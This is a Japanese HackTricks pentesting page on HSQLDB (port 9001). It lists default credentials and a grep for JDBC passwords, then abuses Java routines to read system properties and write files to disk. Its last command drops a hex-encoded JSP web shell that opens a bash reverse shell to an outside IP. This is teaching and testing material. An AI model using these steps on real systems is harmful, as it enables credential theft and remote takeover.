hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

6.4 KiB
Raw Blame History

AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

HSQLDBHyperSQL DataBaseはJavaで書かれたリーディングSQLリレーショナルデータベースシステムです。小さく、高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。

デフォルトポート: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

情報

デフォルト設定

このサービスはデフォルトでメモリ内で実行されているか、localhostにバインドされている可能性が高いことに注意してください。これを見つけた場合、他のサービスを悪用しており、権限昇格を図っている可能性があります。

デフォルトの資格情報は通常、パスワードが空白のsaです。

他のサービスを悪用した場合、可能な資格情報を検索するには

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

データベース名を注意深く覚えておいてください。接続するために必要になります。

情報収集

HSQLDBをダウンロードしてhsqldb/lib/hsqldb.jarを展開し、java -jar hsqldb.jarを実行してGUIアプリewwを使用し、発見された/弱い認証情報を使用してDBインスタンスに接続します。

リモートシステムの場合、接続URLは次のようになりますjdbc:hsqldb:hsql://ip/DBNAME

コツ

Java言語ルーチン

HSQLDBからJavaクラスの静的メソッドをJava言語ルーチンを使用して呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパス内にある必要があります。

JRTはfunctionsまたはproceduresになります。Javaメソッドが一つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。これはVALUESステートメントを使用して呼び出されます。

Javaメソッドがvoidを返す場合、CALLステートメントで呼び出されるプロシージャを使用する必要があります。

Javaシステムプロパティの読み取り

関数を作成する:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

実行機能:

VALUES(getsystemproperty('user.name'))

以下は、システムプロパティのリストをこちらで確認できます

ファイルへの内容書き込み

com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Javaガジェットを使用して、JDKにあるアプリケーションのクラスパスに自動的にロードされるカスタムプロシージャを介して、ディスクに16進数エンコードされたアイテムを書き込むことができます。最大サイズ1024バイトに注意してください

プロシージャの作成:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

手順を実行する:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法: